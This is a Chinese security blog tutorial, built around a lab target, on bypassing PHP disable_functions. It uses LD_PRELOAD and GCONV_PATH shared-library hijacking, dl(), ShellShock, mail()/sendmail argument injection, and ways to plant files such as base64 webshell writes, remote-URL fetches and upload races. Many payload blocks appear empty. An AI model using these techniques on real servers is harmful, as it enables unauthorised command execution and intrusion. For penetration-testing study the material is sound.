PHP-Bypass-disable_function(使用.so等进行绕过disable_function)
前言
这篇文章适用于在PHP环境中,能够进行代码执行,却由于禁用一些命令执行函数导致无法进行命令执行(getshell)的情况,
适用于未禁用putenv()的PHP5环境。
本文测试环境为PHP5.6.40+Apache 非CGI模式(如果是PHP-FPM还有其它办法,本文主要是针对Apache 2.0 Handler),
本文所提及的代码执行意思是能够执行PHP代码,提及的命令执行意思是能够执行系统命令。
如果我找到其它更好的方法,本文还会更新补充
本文有一点点PHP源码的分析
目录
Bypass-disable_function
手动操作(推荐)
- 允许dl函数和可以传输文件到靶机
- 情况1-允许函数putenv()和error_log()或mail()且存在可写目录和可以传输文件到靶机
- 情况2-允许函数putenv()、iconv()和可以传输文件到靶机
- 情况3-允许函数putenv()、include()且允许使用php://filter/…=convert.iconv…、存在可写目录和可以传输文件到靶机(iconv函数被禁用)
- 情况4-允许函数putenv()、error_log()或mail函数(ShellShock)
使用蚁剑的插件一键绕过
传输文件的一些方法(把.so文件传上去)
其它
搭建简易靶机
提供简易靶机
提供docker-compose打包文件
下载地址:本站域名/static/post/PHP-Bypass-disable_function/ext/bypass_test.zip
本文章的大部分操作基于此靶机进行,为了方便演示,未做太多限制
靶机环境信息
PHP版本
1 | 5.6.40 |
系统
1 | x86_64 |
Server API
1 | Apache 2.0 Handler |
被禁用的函数
1 | fpassthru,show_souce,stream_socket_client,fsockopen,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive,pfsockopen,chgrp,chroot,assert,eval,scandir,var_dump |
其中可以见到存在如下函数,也就是基本无法进行命令执行
1 | system,exec,shell_exec,popen,proc_open,passthru,pcntl_exec |
其它
为了方便,访问/test.php即可查看phpinfo
绕过disable_function
手动操作
先上传一句话木马
然后使用蚁剑连接
较少见的情况
要求
允许dl函数和可以传输文件到靶机
做准备
编译以下程序为so
下载php源码(要下载对应版本的PHP)再进入 源码目录/ext/,新建myshell.def保存以下内容
1 | void myshell(string strarg) |
保存以下代码为myshell.c
1 | PHP_FUNCTION(myshell) { |
执行(确保处于源码目录/ext/下)
1 | chmod +x ext_skel |
执行完上面的命令可以发现多了一个myshell文件夹
进入 源码目录
编译(编译太麻烦这里就不做尝试了)
1 | chmod +x configure |
编译完成会在源码目录/ext/modules下出现myshell.so
PHP调用
1 |
|
情况1
要求
允许函数putenv()和error_log()或mail()且存在可写目录和可以传输文件到靶机
做准备
编译以下c代码为.so文件(先将以下代码保存为exp1.c)
使用geteuid()并不是唯一的,还有很多其它函数可以用
1 |
|
或者使用如下的程序也可以
下面这个程序可以通过启动子进程来触发(evil shared library)
比如new Imagick(需要有这个插件)
1 |
|
编译命令如下
(注意:需要安装gcc)
(so文件记得要对应系统版本哦,x86对x86,arm对arm)
1 | gcc exp1.c -o exp1.so -shared -fPIC |
然后上传到服务器可写可读目录,
这里我选择了/tmp,用蚁剑来上传文件
关于上面的c程序
在上面的c程序中,调用了system函数来执行以下命令,
当命令成功执行,会将/目录下的所有文件、文件夹名写入到/tmp/t.txt
(当然也可以改成其它命令,比如反弹个shell什么的)
1 | ls / > /tmp/t.txt |
执行结果如下
PHP利用程序
如保存为2.php,
将2.php上传到网站目录,访问2.php即可触发
(/tmp/exp1.so就是上传的so的路径)
1 |
|
(如果error_log函数被禁用了,而mail函数没有被禁用,可以尝试mail(“”,””,””,””);)
分析PHP源码中的mail函数实现(可跳过此段)
实际上都是使用sh执行(源码目录/main/main.c 545行)
继续跟进(源码目录/ext/standard/mail.c)
可以找到php_mail函数
添加额外字串
使用c标准库(stdio.h)中的popen函数来调用sendmail
是否可以通过加参数来进行命令执行?下面会进行尝试,请继续看下去
执行PHP
访问上传的php文件即可
查看是否成功执行命令,
可以看到t.txt已经出来了,说明触发成功
命令执行成功
分析
LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。
LD_PRELOAD,是个环境变量,用于动态库的加载,动态库加载的优先级最高,一般情况下,其加载顺序为LD_PRELOAD>LD_LIBRARY_PATH>/etc/ld.so.cache>/lib>/usr/lib。当调用一些外部库的函数时,如果通过动态链接库LD_PRELOAD预加载另一个同名的函数,其使用的就是LD_PRELOAD生成的库文件,这样就会造成劫持。这个劫持当然首先可以想到的是提权,其次其也可以用于软件破解和功能增加。
当LD_PRELOAD中写入自己的so,可以劫持掉系统的动态链接库,甚至可以提权
比如上面我们加载了一个函数名为geteuid的so,
当sh运行时,会调用geteuid,此时geteuid就被劫持为我们写的程序流程
而c语言中的popen运行时实际上使用了/bin/sh -c
情况2
要求
允许函数putenv()、iconv()和可以传输文件到靶机
准备工作
编译so文件
编译下面程序为so
1 |
|
编译命令
1 | gcc exp.c -o exp.so -shared -fPIC |
新建gconv-modules
这里还是选择了/tmp目录(用蚁剑新建文件只是因为方便)
gconv-modules内容为如下(注意exp对应exp.so)
1 | module exp// INTERNAL /tmp/exp 2 |
PHP利用程序
如保存为1.php,
将1.php上传到网站目录,访问1.php即可触发
1 |
|
执行
访问php文件,成功执行命令(如果发现没有执行的话就多试几次)
分析
引用自此篇
iconv_open函数的执行过程:
iconv_open函数首先会找到系统提供的gconv-modules文件,这个文件中包含了各个字符集的相关信息存储的路径,每个字符集的相关信息存储在一个.so文件中,即gconv-modules文件提供了各个字符集的.so文件所在位置。
然后再根据gconv-modules文件的指示去链接参数对应的.so文件。
之后会调用.so文件中的gconv()与gonv_init()函数。然后就是一些与本漏洞利用无关的步骤。
linux系统提供了一个环境变量:GCONV_PATH,该环境变量能够使glibc使用用户自定义的gconv-modules文件,因此,如果指定了GCONV_PATH的值,iconv_open函数的执行过程会如下:
- iconv_open函数依照GCONV_PATH找到gconv-modules文件。
- 根据gconv-modules文件的指示找到参数对应的.so文件。
- 调用.so文件中的gconv()和gonv_init()函数。
- 一些其他步骤。
简单来说就是linux系统中GCONV_PATH这个环境变量记录自定义gconv-modules文件所在的目录,
然后调用iconv时将会根据gconv-modules文件找到对应的.so文件,
如果我们在so文件的gconv_init()中写入恶意程序,调用iconv后即可getshell
情况3
要求
情况3-允许函数putenv()、include()且允许使用php://filter/…=convert.iconv…、存在可写目录和可以传输文件到靶机(iconv函数被禁用)
查看信息
可以查看phpinfo的Registered Stream Filters项来确定是否支持convert.iconv
准备工作
编译so文件
编译下面程序为so, 和情况2是一样的
1 |
|
编译命令
1 | gcc exp.c -o exp.so -shared -fPIC |
新建gconv-modules
和上面是一样的操作
gconv-modules内容为如下
1 | module exp// INTERNAL /tmp/exp 2 |
PHP利用程序
(exp.so可以改为exp,可以不需要后缀,但是同时下面的/tmp/exp.so也要改成/tmp/exp)
1 |
|
执行PHP
访问php文件,出现以下内容莫慌
成功执行命令
情况4
要求
允许函数putenv()、error_log()或mail函数(ShellShock)
PHP利用程序
这个靶机无法复现ShellShock,只能贴一下exp了
error_log函数可以替换为mail函数
1 |
|
使用蚁剑的插件一键绕过
需要在蚁剑中安装as_bypass_php_disable_functions插件
打开插件
查看信息
右侧可以查看一些信息,可以知道有什么函数是能利用的
因为环境是Apache+PHP5.6且PHP用的不是CGI模式,所以初步排查出来能用的只有这两个模式,
又由于iconv函数被禁用,所以这里选择LD_PRELOAD模式
开始绕过
打开LD_PRELOAD模式,可以发现需要的两个函数都可以使用,
此时可以单击开始
,
需要注意的是,有时不一定能成功,最好还是手动操作
传输文件的一些方法
使用蚁剑(最简单)
直接上传或右键wget
当以下函数被禁用,蚁剑就不能上传下载文件了
1 | fputs,fwrite |
使用写文件函数配合编码
如使用base64配合fputs,fwrite,fgetss,fgets,fopen,fread,readfile,file_get_contents,file_put_contents
1 | file_put_contents("a.php",base64_decode($_POST['a'])) |
读文件还可以用show_source、highlight_file
原生类SplFileObject
还可以用原生类
1 | $a = new SplFileObject("http://网址/文件"); |
或base64编码后的结果
1 | $a = new SplFileObject("php://filter/convert.base64-encode/resource=http://网址/文件"); |
copy函数
1 | echo copy("http://网址/文件", "文件保存路径"); |
file_get_contents函数
1 | $c = file_get_contents("http://网址/文件"); |
使用FTP
程序来自此处,大佬太强了
服务端
1 | from pyftpdlib.authorizers import DummyAuthorizer |
客户端
1 |
|
使用move_uploaded_file函数
向写着以下程序的php文件post就行
1 | move_uploaded_file($_FILES["file"]["tmp_name"], $_FILES["file"]["name"]); |
给出请求示例(brup suite)
1 | POST / HTTP/1.1 |
使用XML相关类写文件
SimpleXMLElement
1 | $xml = new SimpleXMLElement([xml-data]); |
DOMDocument
1 | $d=new DOMDocument(); |
POST数据+条件竞争
PHP POST上传文件时,无论有无写文件上传处理代码,在上传时php会将文件内容暂存在/tmp目录下php_xxxxxx(xxxxxx表示随机字符),上传完成则删除
不断发送以下请求(以下只是一个示例),可以增加在/tmp目录下成功读取到文件的几率
1 | POST /xxx HTTP/1.1 |
然后同时随便选个这些缓存读取,可以使用glob://
进行锁定
1 | $any=scandir("glob:///tmp/php*"); |
如果向我们的一句话木马POST的话,当然也可以使用以下代码来获取临时文件名
1 | $_FILES['file']['tmp_name'] |
其它
关于eval
为什么eval被写进了disable_function,却能正常使用
eval是语言构造器,不是函数
PHP5.6.40源码
1 | https://www.php.net/distributions/php-5.6.40.tar.gz |
贴一下PHP disable_function的实现c代码
php_disable_functions
php_disable_functions函数在源码目录/main/main.c中189行
检索php.ini中disable_functions=的值,遇以空格或逗号分隔提取区间字符串,
再调用zend_disable_function函数,传参被禁函数名和字符串长度
zend_disable_function
zend_disable_function函数在源码目录/Zend/zend_API.c中2683行
通过zend_hash_find函数来进行禁用
zend_hash_find函数去CG作用域下寻找function_table也就是所有函数(如果成功找到,此函数返回SUCCESS,否则FAILURE),
然后把函数的地址存到前面用zend_internal_function类型定义的func指针的值里(func是个一级指针)
func->arg_info = NULL 实际上是 所选函数结构体中的列arg_info设置为NULL,即变成空指针
下面的func->handler那句程序用于被调用时显示E_WARNING信息
zend_disable_class函数也存在这个寻找的过程
顺带复习一下c中的结构体和指针
尝试加参数来进行mail函数的命令执行
继续分析php源码
再次来到 源码目录/ext/standard/mail.c
可以看到php中mail函数的实现方法
继续调用了php的c源码中写的php_mail函数
分析源码中的php_mail函数可知几个参数的作用,
显然to,subject,message这三个变量的值通过popen打开的流sendmail输入到标准输入(stdin)去了,无法利用
但是可以看到在上面存在一个字符串拼接,拼接了sendmail的命令,
也就是extra_cmd
继续跟进,可以得知extra_cmd来自这里
继续跟进,可以看到进行了php_escape_shell_cmd处理才给extra_cmd
同时可以看到force_extra_parameters
force_extra_parameters来自php.ini的mail.force_extra_parameters参数
extra_cmd其实是mail函数的第五个参数
查看一下函数的描述,确实如此
如果第五个参数没有经过php_escape_shell_cmd处理,
可以使用mail(“”,””,””,””, ‘ -a ;ls / > /tmp/t.txt’);来进行命令执行,
如下
1 |
|
测试
但可惜的是有php_escape_shell_cmd处理,“;”等字符会被转义掉
但某些版本的php(PHP 5 <= 5.2.5,PHP 4 <= 4.4.8)是能够利用宽字节来bypass的,具体可以参考这个文章
在php5.6.40下没有测试成功,
估计是修复了php_escape_shell_cmd或者靶机无法设置LANG=zh_CN.GBK,
就不细究了
1 |
|
2023.8.4更新
在sendmail程序的参数中,有一个-X
选项,用于记录所有的邮件至log文件中
通过-X
指定log文件记录日志,可以写文件到网站目录来实现RCE
1 |
|
更多内容可以参考:https://blog.csdn.net/hongrisec/article/details/104746715
感觉还是很有意思的
写在最后
谢谢,如有错误,麻烦指正
EOF